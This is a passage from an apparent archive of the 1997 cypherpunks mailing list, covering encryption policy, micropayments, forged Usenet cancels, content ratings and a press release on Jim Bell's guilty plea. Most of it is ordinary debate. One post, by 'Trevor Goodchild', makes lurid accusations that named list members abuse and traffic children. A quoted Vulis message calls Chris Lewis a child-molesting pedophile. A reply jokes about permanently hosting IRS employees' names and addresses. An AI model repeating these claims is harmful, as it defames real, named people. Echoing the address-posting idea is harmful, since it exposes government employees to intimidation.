would like to see mimes suppressed for the good of 
humanity, but bear with me).

* A mime, working by electric light.

Does the fact that electricity is involved in
creating the light make the communication 
'electronic'? I don't think so. (IANAL) It (the
mime) is certainly modulating the (electronically
generated) light, just as an optical transducer
does.

* A mime, illuminated by an electric
light, and viewed through a fiberscope.

There's certainly no new 'electronic' components
introduced at this step, so sending modulated, 
electronically generated, photonic messages 
through an optical fiber would not seem to 
constitute an 'electronic' communication.

* A mime performing inside a sealed box, 
illuminated by electric light and viewed 
through a fiberscope.

Once again, no new 'electronic' components have
been added. 

* The mime, finally realising that the box is 
airtight and unopenable (I told you to bear
with me :-), signals for help by sending Morse 
code down the fiberscope with a flashlight.

The other end of the fiberscope enters a similar
box, where another mime flashes back "Great
'walking against the wind' technique, but I can't
help - my box is sealed too."

Is this an electronic communication?

This is getting pretty close to the situation of
two computers connected by fiber optics - the 
communication mode is even digital. The boxes are 
silent, consume electric power, and communicate
via optical fiber. I don't think the FCC's 
jurisdiction extends inside the boxes, where all 
the 'electronic' portions of the system reside.

Just some idle speculation...


Peter Trei
trei at process.com






From vince at offshore.com.ai  Thu Jul 31 07:27:36 1997
From: vince at offshore.com.ai (Vincent Cate)
Date: Thu, 31 Jul 1997 22:27:36 +0800
Subject: uncensorable net based payment system?
In-Reply-To: 
Message-ID: 




Adam Back  said:
>Then I can have some net cash savings backed by the rights to 1Tb of
>bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.
> 
>A problem with this is that the market prices of the assets is
>continually dropping.  How do I hedge against this.  Can I buy futures? 
>Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
>years time at an predicted equivalent value? 

I could imaging making a currency backed by "megabytes of data transfered"
to and from my server here in Anguilla.  This could be to run a web page,
mailing list, or whatever.

But you are right that it is an asset continually dropping in value, so
it is an odd thing to back a currency with.  Would only want to keep
enough money in it to do what you currently wanted to do, not as a long
term investment.

I could imaging just gradually increasing it so that $0.25 for 1 megabyte
today became $0.25 for 1.1 megabytes in 3 months, or something like that.

Interesting idea...

  --  Vince







From shabbir at democracy.net  Thu Jul 31 07:40:12 1997
From: shabbir at democracy.net (Shabbir Safdar)
Date: Thu, 31 Jul 1997 22:40:12 +0800
Subject: EVENT: Cryptography, scientific freedom & human rights Fri Aug 1!
Message-ID: <199707311427.KAA18487@panix3.panix.com>



=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls
_________________________________________________________________________
Update No.12             http://www.democracy.net/           July 31 1997
_________________________________________________________________________
Table of Contents

 - Live cybercast - Cryptography: Scientific freedom and human rights
 - Featured speakers
 - Program overview
 - About democracy.net
_________________________________________________________________________
LIVE CYBERCAST - CRYPTOGRAPHY: SCIENTIFIC FREEDOM AND HUMAN RIGHTS

Interested in exploring the human rights and scientific freedom
implications of the cryptography policy debate?

Join democracy.net and the American Association for the Advancement of
Science LIVE ONLINE Friday, August 1st for a live cybercast of a Briefing
featuring members of Congress, human rights
advocates, and encryption experts.

Visit http://www.democracy.net/ for details.

  Date: Friday August 1, 1997
  Time: 12:00 noon - 1:30 pm Eastern (9:00 am Pacific)
  Location: http://www.democracy.net/

  What you will need: Web Browser
                      RealAudio (available free at democracy.net)
                      Telnet for Chat (also free at democracy.net)

  Cybercast Components: Live Audio, Live Still Pictures, Live Chat

  In addition, we will be testing live video through RealVideo during the
  cybercast. To check out the RealVideo test, you'll need to download a
  RealVideo player in advance, (recommended), visit http://www.real.com/

_________________________________________________________________________
PROGRAM OVERVIEW

 The encryption debate has revolved around issues of industrial
 competitiveness, personal privacy, and the interests of national
 security and law enforcement.  This briefing seeks to bring two more
 issues into the policy discussion: scientific freedom to conduct and
 express cryptographic research, and human rights applications of
 cryptographic technologies.

_________________________________________________________________________
FEATURED SPEAKERS

*  Matt Blaze, Principal Research Scientist, AT&T Laboratories

*  Ian Goldberg, Internet Security, Applications, Authentication and
   Cryptography  Project, University of California, Berkeley

*  Patrick Ball, Science and Human Rights Program, American Association
   for the Advancement of Science

*  Dinah PoKempner, Deputy General Counsel, Human Rights Watch

Additional details on the program are available at the following sites:

 * http://www.democracy.net
 * http://www.aaas.org/spp/dspp/cstc/briefings/crypto/

Democracy.net is a joint project of the Center for Democracy and Technology
and the Voters Telecommunications Watch designed to explore ways of
enhancing citizens participation in the democratic process via the Internet.

This cybercast is made possible though the generous help and support of:

WebActive        -     http://www.webactive.com/
Panix Internet   -     http://www.panix.com/
TheSync          -     http://www.thesync.com/
Digex            -     http://www.digex.net/

___________________________________________________________________________
ABOUT DEMOCRACY.NET

democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
Public Access Networks (Panix), the Democracy Network, and DIGEX Internet.
More information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/
___________________________________________________________________________
end update no.12                                                   07/31/97
===========================================================================






From nospam-seesignature at ceddec.com  Thu Jul 31 07:44:15 1997
From: nospam-seesignature at ceddec.com (nospam-seesignature at ceddec.com)
Date: Thu, 31 Jul 1997 22:44:15 +0800
Subject: uncensorable net based payment system?
In-Reply-To: <199707311240.NAA00742@server.test.net>
Message-ID: <97Jul31.103618edt.32258@brickwall.ceddec.com>



On Thu, 31 Jul 1997, Adam Back wrote:

> The internet looks like it is slowly moving towards anonymous
> micropayments for services, and metering for scarce resources.

The big problem will be fraud.  How do you know the ISP you are buying
disk space from won't disappear after you have prepaid a year of disk
space?

I am not sure of the economics of moving to micropayments (A post in the
e$ lists noted that Taxis can meter, but Jitneys have a flat rate, and
that encryption necessary for ecash uses lots of cpu cycles and space to
check for double spending - so even micropayments *must* cost far less to
transact than what is being paid for), but assuming we go that direction:

Any currency in bandwidth would likely be short-lived - you would keep
your reserves in a more standard commodity (or even currency) exchange
certificate, and spend those - one assumes that currency/commodity
e-changes would be common and run by arbitrageurs who will send you real
cash or commodities or warehouse receipts if you really want them.

You would dial one of several access companies and insert e-coin.  These
e-coins would be aggregated, so that the bandwidth usage would be
calculated, and the e-coins would propogate up as necessary to maintain
bandwidth (and inform your client to cough up more e-coins as you use it)
- the profit comes from extra e-coins not forwarded to the upstream
bandwidth provider.  The extra e-coins would be sent to an interest
bearing account in a tax-free authority, and the records for the locals
will come from a modified random poetry program.  With encryption, they
won't be able to determine packet content, and maybe not even destination. 
And if they try to do it per packet, 1M packets will be the norm, etc. 

(Some south american country had a very high telephone tax, so an american
company set up a system where you could dial here, and it would call back
(untaxed) and set up a third call - a proxy phone if you like.  The two
calls originating from the US were cheaper than the one call there - the
country eventually blocked all calls to Nebraska, so the company moved to
a 202 area code - I forget the other details, but you see what will
happen). 

> 	- be immune to government hidden taxations such as printing
> 	  new money as a form of tax

You cannot make any thing immune from this, but with everyone watching the
central banks, you either have your ecash in commodities, or watch the
foreign exchange markets closely, or have your software agent or broker do
this for you.  Any hint of inflation and everyone will dump the currency
and anything denominated in that currency, so even mild inflation will
become instant hyperinflation.

> 	- be immune from government taxation

None of this is directly taxable, but look for a $100/phone line tax if
they really get desparate (and then look for spread-spectrum digital
wireless to replace landlines - those tiny bursts are awfully hard to
track and meter).  The can also try going after the backbone providers,
but then foreign owned satellites would pick up the slack.  You can only
tax something until an untaxed substitute becomes cheaper, and there are
lots of substitutes.

> 	- be a stable form of cash (in the face of rapidly
> 	  depreciating assets like Mb/years of storage as mass storage
> 	  devices continue their price plumet.)

No form of cash is stable since cash is a measure of value, and everything
else it would be exchanged for is changing.  Even gold and silver change
exchange rates.  One of the functions of cash is as a store of value.
Thus it isn't really cash if it is in a wasting asset.

> A problem with this is that the market prices of the assets is
> continually dropping.  How do I hedge against this.  Can I buy
> futures?  Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec
> for 3 days in 1 years time at an predicted equivalent value? 

I think you simply wouldn't store value in this form - any currency
threatened with inflation is obtained very close to the point of exchange
and converted back to a stable currency by the merchant ASAP.

One of the ways to avoid large doublespending databases are to create the
ecash notes for this with very short lifetimes, which would work well with
rapidly depreciating assets.  But the only way to avoid lots of CPU cycles
is to issue very large (100Kpacket) notes, but you will lose anything you
don't use in the session.

--- reply to tzeruch - at - ceddec - dot - com ---






From whgiii at amaranth.com  Thu Jul 31 07:51:38 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 31 Jul 1997 22:51:38 +0800
Subject: uncensorable net based payment system?
In-Reply-To: 
Message-ID: <199707311442.JAA18579@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 07/31/97 
   at 09:24 AM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>I'm shocked I myself didn't think then and there of an analogy with
>Internet bandwidth.

Well there are some distinct differences between a Utility
(Electric,Water,Gas) and that of Ineternet bandwith.

With a public utility the greatest expence is not in providing the pipe
(bandwith) but in generating the resources (electric,water,gas). The
oppisite of this is true with the internet. The monthy telco charges for
prividing the bandwith is much more than the cost's of providing the
resources (data).

I think a closer analogy to the Internet is that of a highway system
(Information Highway, who knew? ). You have the upfront expence of
building the highway (bandwith) and then the expences of up-keep &
maintinance (telco charges - profit).

Now we have two camps for how this should be paid for. Should the users
pay upfront for a certian amuont of usage (This is basicaly how it is
today) or should users pay a metered rate simmilar to a toll-road.

I myself prefer to pay a flat rate and make use of my time & bandwith as I
see fit than to pay on a metered rate. I remember years back with
Compu$erve paying a metered rate and getting +$100 mo. bills from them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From trevorg at dhp.com  Thu Jul 31 07:53:16 1997
From: trevorg at dhp.com (Trevor Goodchild)
Date: Thu, 31 Jul 1997 22:53:16 +0800
Subject: Dr. Jai Maharaj
Message-ID: 




It is quite humorous to see that our beloved list is so populated by these
so called doctors.  For a while we have had a Doctor Grubor, previously, a
Doctor Vulis, and now we are blessed by this Doctor.

Will the tentacles of Vulis never cease blessing us?

(Strangely enough I didn't think Vulis was into Indian metaphysics.  "Dr.
Jai Maharaj" has an extensive page on the topic.  Aparently this creature
professes to be an astrologer.  

I wonder if the rumours that our beloved drs are pedophiles and are
involved in a child trafficking ring.  Supposedly, Dr. Grubor flies small
boys between the ages of two and six between Dr. Vulis's residence in New
York, and Dr. Maharaj's residence in Hawaii.  All three are known
cocksuckers of course.

The hidden protected areas of his web site which my Breen agents have
infiltrated show that Dr. Majaras uses the anal juices of his child
victims to predict the future...  Scum like this cannot be tolerated.  It
also shows much colaboration between the three.

I strongly suggest we "boy"cott this dastardly threesome.

---
 Trevor Goodchild






From sunder at brainlink.com  Thu Jul 31 08:07:36 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 31 Jul 1997 23:07:36 +0800
Subject: PGP Linux 5.0b11 feedback?
In-Reply-To: 
Message-ID: 



Hey Dave,

Here's a thought for the next version's features:

A self-export option.  Click on a button to randomly and anonymously
automatically ftp the full package with source to ftp sites outside the
usa.  :)

You should of course put in the nice warning screns about breaking the law
and such, and then "Click here to be an international arms trafficker."
(Much like Vince Cate's page. :)

(Though after the first two or three uploads, I'd guess the non-usa ftp
sites would consider it spamming. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================






From tskirvin at math.uiuc.edu  Thu Jul 31 08:17:53 1997
From: tskirvin at math.uiuc.edu (Tim Skirvin)
Date: Thu, 31 Jul 1997 23:17:53 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: <19970731100829.06883@math.uiuc.edu>



"Dr.Dimitri Vulis KOTM"  writes:

> 1. "Spam cancellers" are not generally news admins. They are plain old
> users who get kicked off of their ISPs for forging cancels. For examples,
> see Net.Scum pages of Rick Buchanan, David Ritz, et al.

	Many spam cancellers are news admins.  Most of the major ones are
admins, in fact - Chris Lewis, JEM, etc.

> 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> s/he often diversifies into "retromodetration" - forgng cancels for
> singly-postd articles whose contents they don't like and claiming that
> they were "spam". For examples, see the Net.Scum pages for Guy Macon
> (the retromoderator on soc.religion.quaker), Chris Lewis, et al.

	This rarely happens, actually, and such situations are quickly
slapped down as soon as they're spotted.  

	The two examples Dimitri gives, of course, are major 
misrepresentations.

				- Tim Skirvin (tskirvin at uiuc.edu)
-- 
Skirv's Homepage<*>
The Killfile Dungeon






From candy at mail.mail-promo.com  Thu Jul 31 23:49:36 1997
From: candy at mail.mail-promo.com (candy at mail.mail-promo.com)
Date: Thu, 31 Jul 1997 23:49:36 -0700 (PDT)
Subject: adults only
Message-ID: <18725478612534@mail1.mail-promo.com>


FREE 5 MINUTE PREVIEW!!!
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From nobody at REPLAY.COM  Thu Jul 31 08:57:04 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 31 Jul 1997 23:57:04 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
Message-ID: <199707311540.RAA01345@basement.replay.com>



James Love wrote:

>    On your other point, I really don't agree that is morally wrong to
>take steps to prevent children from having access to pornography. 
>People may propose ways of doing this which are objectionable, but the
>basic goal is hardly immoral.  Indeed, many think it is immoral not to
>protect children.

Yes, yes...one man's morality is another's immorality.  Each of them thinks 
of himself as "being in the right" and sees the others as wrong or even 
"evil"  (witness the anti-BoyLover zealotry).  Different subjects but the 
same bullshit.  See the futility of it yet, Jamie?

If parents find pornography objectionable for their children, then they 
must take ultimate responsibility to keep pornography away from their kids. 
 If they are not willing to do this, then they should not have had the 
children in the first place.  It's up to them to take care of their kids. 
Not you, not me, not the government, and not some "voluntary" ratings 
system.

CyberAnalFistFuckingActionMonger








From ericm at lne.com  Thu Jul 31 09:03:29 1997
From: ericm at lne.com (Eric Murray)
Date: Fri, 1 Aug 1997 00:03:29 +0800
Subject: Denning backs away from GAK
Message-ID: <199707311546.IAA24925@slack.lne.com>






"Encrypt expert revises views
Authorities crack codes on their own"

By Simpson Garfinkel, special to the Mercury News

"A key academic supporter of the Clinton administrations position in the
debate over controls on encryption software has found that the
scrambling techniques widely used today have not shielded criminals from
law enforecement authorities.  As a result, she is backing off from
her long-held belief that controls on strong encryption are essential
to fight crime"



http://www.sjmercury.com/business/compute/encrypt073097.htm


-- 
            Eric Murray    ericm at lne.com      ericm at nabletech.com
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF






From declan at eff.org  Thu Jul 31 09:14:38 1997
From: declan at eff.org (Declan McCullagh)
Date: Fri, 1 Aug 1997 00:14:38 +0800
Subject: I did get the infamous IRS letter after all
Message-ID: 



[I check eff.org only rarely. --Declan]

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Date: Thu, 17 Jul 1997 12:29:08 -0400
From: IRS Inspection 
Message-Id: <199707171629.MAA02733 at net.insp.irs.gov>
To: Interested-Parties at net.insp.irs.gov
Subject: Something of Interest



					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.






From dlv at bwalk.dm.com  Thu Jul 31 09:17:06 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 1 Aug 1997 00:17:06 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970731090023.27288@math.uiuc.edu>
Message-ID: 



Tim Skirvin  writes:

> Ryan Anderson  writes:
> 
> > "Make Money Fast" are killed because they're illegal scams in the US and I 
> > think in most of the world.
> 
> 	Make.Money.Fast is killed because it's spam a few thousand times 
> over.  The legality of it doesn't come into question.

If you examine the forged cancels for MMF in your control group, you'll
see the cancel issuers frequently stating that they're forging the cancels
because they believe MMF to be "illegal".

Sort of reminds of the war on (some) drugs, doesn't it?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From kent at songbird.com  Thu Jul 31 09:40:01 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 1 Aug 1997 00:40:01 +0800
Subject: Third party rating services NOT self-rating (was Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <33DF9522.3985417E@cptech.org>
Message-ID: <19970731092109.15947@bywater.songbird.com>



On Thu, Jul 31, 1997 at 01:45:15AM +0100, Adam Back wrote:
[...]
> Even if government were to insist that everyone self rated, it would
> be damn near meaningless.

I think you are seriously underestimating the usefullness of 
self-rating.  Yes, indeed, there are people who will spoof them, or 
who may have a completely weird view of the world that allows them an 
odd interpretation of what the ratings mean, so you won't get 100% 
coverage.  

But it is important to remember that less than perfect coverage is
completely acceptable.  What you have to evaluate is whether the
percentage of coverage is worth the trouble.  

As has been pointed out, a large majority of sites that provide
"adult" material (under a very broad definition of "adult") *already*
self-rate -- their pages are usually (in my limited experience)
plastered with warnings, in fact.  And if there was a simple,
consistent standard for those already existing self-ratings it would 
be easy to generate filters for them.

Note that this is orthogonal to the issue of whether the self-ratings 
are government-mandated, and it works independently of government 
mandate.  The reason is that the larger porn sites are in it for the 
money, and *any* social sanction -- government, mail bombs, bad publicity, 
mass protest, real bombs etc -- makes it cost effective to do 
self-rating, if the self-rating is cheap.

More interesting than ratings, however, are techniques used to 
establish credentials for a large class of people.  How does one 
identify oneself as an "adult" in cyberspace?

If "adult" means "inhabits a physical human body at least 21 years 
old" then you have to tie a cyberspace identity to a human body.  
This is a tricky problem.

OTOH, if "adult" means "knows a certain body of knowledge, that only a
person who was alive and aware at date X would know", then you have a
much different, and really, much easier, problem -- you can devise a
test.  Such a test should have just a few questions, drawn from a
large pool, each of which has a fairly high probability of not being
answerable by a child.

"I am not a crook" was said by:
	a) Mickey Mouse, in the "Steamboat Willie" cartoon
	b) Richard Nixon
	c) 
	d) 

Ben Cartrights 3 sons were:
	a) Jimmy, John, and Sam
	b) etc
	c)
	d)

This approach was actually used by -- let's see -- the "Leisure Suit 
Larry" suite of games, and it was pretty effective at blocking 
children from playing.

[...]
> 
> General rhetorical question: indeed why have governments at all?

General rhetorical answer:  Because people are the way they are.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From rah at shipwright.com  Thu Jul 31 09:46:12 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 1 Aug 1997 00:46:12 +0800
Subject: House Report on SAFE
In-Reply-To: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>
Message-ID: 



At 8:32 am -0400 on 7/31/97, Declan McCullagh wrote:


> "We are in unanimous agreement that congress must adopt
> encryption legislation that requires the development,
> manufacture, distribution and sale of only key recovery
> products."
>
> Darrell L. Sanders, President, International Association of
> Chiefs of Police.
>
> James E. Doyle, President, National Association of
> Attorneys General.
>
> Fred Scoralic, President, National Sheriffs' Association.

As if these fuckwits had any conception of cryptography at all.

Sheesh. This is truly the revenge of the NSA.

Telling Louis Freeh -- a man who got his 'bones' busting mafiosi with
wiretaps -- that he couldn't do it any more if strong cryptography was
legal was a pure stroke of luddite genius on the part of Stew Baker & Co.

Self-inflicted sabotage if there ever was any. Frankly -- and I'll probably
get shouted down here for saying this here -- the *only* way to shut these
idiots up is for them to be standing exactly on the other side of economic
progress. Which, to me, means, bearer certificate commerce as fast as
possible.

It's impossible to ban aviation if the enemy has strategic bombing, much
less civil aviation. Cavalry charges on tanks look kind of silly.

Economic power is the only power there is.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From kent at songbird.com  Thu Jul 31 10:15:47 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 1 Aug 1997 01:15:47 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <19970731095523.04336@bywater.songbird.com>



On Thu, Jul 31, 1997 at 08:16:59AM -0400, William H. Geiger III wrote:
[...]>
>>One way to implement this is for other people to pay the author for their
>>articles a penny if they like the article.  That way people who write
>>things which others find interesting to read get subsidized posting.  Is
>>it still free speech if you have to pay for your posts if you're arguing
>>for an unpopular minority?
>
>This will not work!!!

I agree.  If charging for mail would eliminate spam, then I should not
be getting the mailboxfull of physical junk mail I receive every
morning.  Postage benefits the MAIL CARRIER, not the recipient, and it
is in the best interests of the mail carrier to carry MORE mail, not
less.  So, e-postage will almost certainly cause more spam, not less. 

[...]

>It should be noted that the Bandwith issue is a red-herring.

However, I think your argument here is faulty, because bandwidth is in
fact oversubscribed -- the whole system depends on each end subscriber
not using all their bandwidth all the time.

> The bandwith
>of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
>ISP customers pay for their connections to their ISP who in turn pay for
>their connections to the Access providers who inturn pay for the Backbone.
>The PIPE has been paid for what goes over it not an issue. If all I want
>to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
>ones busines but my own.

Not really.  A T1 line, for example, can handle maybe 40-50 28.8 modems 
going full blast, but a small ISP over a T1 might have 200 customers.  
This goes right on up the line -- at every level bandwidth is 
oversubscribed, and successful operation of the net depends on 
certain statistical usage patterns.  So, while it isn't written down 
in a contract anywhere, what you are really paying for is peak 
bandwidth, not sustained bandwidth.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From chrisd at loc201.tandem.com  Thu Jul 31 10:20:27 1997
From: chrisd at loc201.tandem.com (Chris DiBona)
Date: Fri, 1 Aug 1997 01:20:27 +0800
Subject: Entrust Technologies's Solo - free download
Message-ID: <01BC9D99.CD73D990.chrisd@loc201.tandem.com>



This is all nice and good, but the question is who is Chris Lewis, what is 
his connection to northern telecom, what the hell do you mean by forgery, 
are you implying the technology that entrust has in it's secure kernal is 
stolen? Keeping in mind that using public domain algorithms is not theft, 
and also keeping in mind that they have a patent license from public key 
partners, which allows them to use the "rsa" patents, and keeping in mind 
that a fully featured certificate system is much more than just a 
cryptography product. Is the law being broken here? Is there a breach of 
ethics at Entrust?

To restate.....what's wrong with what entrust is doing? Everyone has had 
such a good time talking about spamming and cancels, but I'm really 
interested in how Nortel is somehow committing a forgery.

Also looking around the dejanews stuff about lewis, he seems to be a spam 
cancel freak yes, but no pedophile.

Dimitri,   you seem to be a pretty smart guy...enlighten me on this whole 
thing. Do you mean that Nortel has a hand in the forging of spam cancels? 
Or do you mean that they have a hand in forging software?


  Chris DiBona



-----Original Message-----
From:	Dr.Dimitri Vulis KOTM [SMTP:dlv at bwalk.dm.com]
Sent:	Wednesday, July 30, 1997 6:22 AM
To:	cypherpunks at toad.com; freedom-knights at jetcafe.org
Subject:	Re: Entrust Technologies's Solo - free download

> Entrust Technologies (www.entrust.com) has made Solo available for
> download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> A mere $49 Cdn (~35 US) for commerical usage...
>
> For e-mail / file encryption, digital signature
>
> Solo uses 128-bit encryption, which is CAST-128, the royality-free
> algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA 
public-key
> cryptography and has DES, Triple DES available.
>
> Also follows FIPS 140-1 validated security kernel. It is compatible with
> other Solo clients (of course), Entrust/Lite and Entrust.

I ask everyone on these two forums to inform Northern Telecom Forgers /
Bell North Forgery Research / Entrust that we will boycott their
"security" products as long they continue to employ the child-molesting
pedophile Chris R. Lewis - the biggest forger on Usenet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From enoch at zipcon.net  Thu Jul 31 10:44:37 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Fri, 1 Aug 1997 01:44:37 +0800
Subject: I did get the infamous IRS letter after all
In-Reply-To: 
Message-ID: <19970731173429.26553.qmail@zipcon.net>




> In previous court hearings, IRS
> Inspectors testified that BELL had obtained the names and home addresses of
> 70 IRS employees as part of  "Operation LocatIRS." 

Hmmm.  Would http://irs.agents.eternity/ be an appropriate permanent
respository for this valuable document?  :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From declan at pathfinder.com  Thu Jul 31 10:47:38 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Fri, 1 Aug 1997 01:47:38 +0800
Subject: Denning backs away from GAK
In-Reply-To: <199707311546.IAA24925@slack.lne.com>
Message-ID: 



BTW, Will R did a piece a month or so ago on Denning's shifting stance.
Maybe I should call her up and press her for details.

-Declan


At 08:46 -0700 7/31/97, Eric Murray wrote:
>"Encrypt expert revises views
>Authorities crack codes on their own"
>
>By Simpson Garfinkel, special to the Mercury News
>
>"A key academic supporter of the Clinton administrations position in the
>debate over controls on encryption software has found that the
>scrambling techniques widely used today have not shielded criminals from
>law enforecement authorities.  As a result, she is backing off from
>her long-held belief that controls on strong encryption are essential
>to fight crime"
>
>
>
>http://www.sjmercury.com/business/compute/encrypt073097.htm
>
>
>--
>            Eric Murray    ericm at lne.com      ericm at nabletech.com
>PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27
>29 AF



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From declan at pathfinder.com  Thu Jul 31 10:56:30 1997
From: declan at pathfinder.com (Declan McCullagh)
